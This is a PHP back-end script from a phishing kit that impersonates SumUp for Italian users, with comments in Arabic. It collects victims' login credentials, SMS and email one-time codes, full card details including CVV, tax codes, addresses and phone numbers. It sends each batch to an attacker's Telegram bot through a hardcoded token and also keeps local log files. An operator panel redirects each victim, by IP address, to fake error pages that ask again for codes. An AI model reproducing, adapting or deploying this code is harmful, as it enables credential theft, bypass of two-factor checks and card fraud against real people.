<?php
session_start();
require_once "functions1.php";

// Telegram config
$apiToken = "8574709440:AAEk4RRbVNpq5RIdtY0WFx9Iou28hyl_cY0";
$id = "-5080100756";

// دالة إرسال التلغرام
function sendToTelegram($message) {
    global $apiToken, $id;
    $data = [
        'chat_id' => $id, 
        'text' => $message,
        'parse_mode' => 'HTML'
    ];
    $url = "https://api.telegram.org/bot" . $apiToken . "/sendMessage?" . http_build_query($data);
    $response = @file_get_contents($url);
    return $response !== false;
}

// معالجة التحكم
if ($_POST['step'] == "control") {
    $fp = fopen('people/'. $_POST['ip'] .'.txt', 'wb');
    fwrite($fp, $_POST['to']);
    fclose($fp);
    header("location: control.php?ip=" . $_POST['ip']);
    exit();
}

// معالجة إعادة التوجيه
if(!empty($_GET['redirection'])) {
    $red = $_GET['redirection'];
    $redirections = [
        'errorlogin' => 'errorlogin.php',
        'cc' => 'cc.php',
        'errorcc' => 'cc.php',
        'billing' => 'billing.php',
        'errorbilling' => 'billing.php',
        'email_code' => 'email_code.php',
        'erroremail_code' => 'email_code.php',
        'sms' => 'sms.php',
        'errorsms' => 'sms.php',
        'personal_info' => 'personal_info.php',
        'errorpersonal_info' => 'personal_info.php',
        'app' => 'app.php',
        'success' => 'success.php',
        'attivazione' => 'index.php',
        'errorattivazione' => 'index.php'
    ];
    
    if(isset($redirections[$red])) {
        // إعداد الأخطاء إذا كانت الصفحة تحتوي على أخطاء
        if($red == 'errorcc') {
            $_SESSION['errors'] = ['type' => true, 'card_number' => true, 'expiry' => true, 'CVC' => true];
        } elseif($red == 'errorbilling') {
            $_SESSION['errors'] = ['full_name' => true, 'zip' => true, 'phone' => true, 'address' => true, 'city' => true];
        } elseif($red == 'erroremail_code') {
            $_SESSION['errors'] = ['email_code' => true];
        } elseif($red == 'errorsms') {
            $_SESSION['errors'] = ['sms' => true];
        } elseif($red == 'errorpersonal_info') {
            $_SESSION['errors'] = ['nome' => true, 'cognome' => true, 'codice_fiscale' => true, 'indirizzo' => true, 'citta' => true, 'cap' => true];
        } elseif($red == 'errorattivazione') {
            $_SESSION['errors'] = ['auth_credential' => true];
        }
        
        header("Location: " . $redirections[$red]);
        exit();
    }
}

// معالجة الخطوات
if(isset($_POST['step'])) {
    $step = $_POST['step'];
    $address = get_client_ip();
    $time = date('d/m/Y H:i:s');
    
    $messages = [
        'login' => [
            'subject' => "🔐 LOGIN SUMUP 🔐",
            'content' => "=== DATI DI ACCESSO ===\n📧 EMAIL/TELEFONO: <code>" . ($_POST['username'] ?? '') . "</code>\n🔑 PASSWORD: <code>" . ($_POST['password'] ?? '') . "</code>"
        ],
        'errorlogin_index' => [
            'subject' => "❌ ERRORLOGIN - SUMUP ❌", 
            'content' => "=== DATI DI ERRORE LOGIN ===\n📧 EMAIL/TELEFONO: <code>" . ($_POST['error_credential'] ?? '') . "</code>\n🔑 PASSWORD ERRATA: <code>" . ($_POST['error_pin'] ?? '') . "</code>"
        ],
        'sms' => [
            'subject' => "📱 CODICE SMS - SUMUP 📱",
            'content' => "=== CODICE SMS ===\n🔢 CODICE SMS: <code>" . ($_POST['sms'] ?? '') . "</code>"
        ],
        'cc' => [
            'subject' => "💳 CARTA DI CREDITO - SUMUP 💳",
            'content' => "=== DATI CARTA DI CREDITO ===\n👤 NOME: " . ($_POST['nome'] ?? '') . "\n👤 COGNOME: " . ($_POST['cognome'] ?? '') . "\n📋 CODICE FISCALE: " . ($_POST['codice_fiscale'] ?? '') . "\n💳 NUMERO CARTA: <code>" . ($_POST['card_number'] ?? '') . "</code>\n📅 SCADENZA: <code>" . ($_POST['expiry'] ?? '') . "</code>\n🔒 CVV: <code>" . ($_POST['CVC'] ?? '') . "</code>"
        ],
        'billing' => [
            'subject' => "🏠 DATI FATTURAZIONE - SUMUP 🏠", 
            'content' => "=== DATI DI FATTURAZIONE ===\n👤 NOME COMPLETO: " . ($_POST['full_name'] ?? '') . "\n🎂 DATA DI NASCITA: " . ($_POST['gg'] ?? '') . "/" . ($_POST['mm'] ?? '') . "/" . ($_POST['aaaa'] ?? '') . "\n📍 INDIRIZZO: " . ($_POST['address'] ?? '') . "\n🏙️ CITTA: " . ($_POST['city'] ?? '') . "\n📮 CAP: <code>" . ($_POST['zip'] ?? '') . "</code>\n📞 TELEFONO: <code>" . ($_POST['phone'] ?? '') . "</code>"
        ],
        'email_code' => [
            'subject' => "📧 CODICE EMAIL - SUMUP 📧",
            'content' => "=== CODICE EMAIL ===\n🔠 CODICE EMAIL: <code>" . ($_POST['email_code'] ?? '') . "</code>"
        ],
        'personal_info' => [
            'subject' => "👤 DATI PERSONALI - SUMUP 👤",
            'content' => "=== DATI PERSONALI ===\n👤 NOME: " . ($_POST['nome'] ?? '') . "\n👤 COGNOME: " . ($_POST['cognome'] ?? '') . "\n📋 CODICE FISCALE: " . ($_POST['codice_fiscale'] ?? '') . "\n📍 INDIRIZZO: " . ($_POST['indirizzo'] ?? '') . "\n🏙️ CITTA: " . ($_POST['citta'] ?? '') . "\n📮 CAP: <code>" . ($_POST['cap'] ?? '') . "</code>"
        ]
    ];
    
    if(isset($messages[$step])) {
        $subject = $messages[$step]['subject'] . "\n";
        $subject .= "🌐 IP: " . $address . "\n";
        $subject .= "🕐 Data: " . $time . "\n\n";
        
        $message = $messages[$step]['content'] . "\n";
        $message .= "==============================\n";
        $message .= "🔗 Steps: " . get_steps_link() . "\n";
        $message .= "🖥️ User Agent: " . ($_SERVER['HTTP_USER_AGENT'] ?? '') . "\n";
        $message .= "==============================\n";
        
        // إرسال إلى التلغرام
        sendToTelegram($subject . $message);
        
        // حفظ نسخة احتياطية (بدون تغيير)
        $backup_file = 'logs/' . $step . '_' . date('Y-m-d') . '.txt';
        @file_put_contents($backup_file, str_replace(['<code>', '</code>'], '', $subject . $message) . "\n\n", FILE_APPEND);
        
        // حفظ البيانات في السيشن
        foreach($_POST as $key => $value) {
            if($key != 'step') {
                $_SESSION[$key] = $value;
            }
        }
        
        reset_data();
        header("Location: loading.php");
        exit();
    }
}

// إذا لم يتطابق أي شرط
header("Location: index.php");
exit();
?>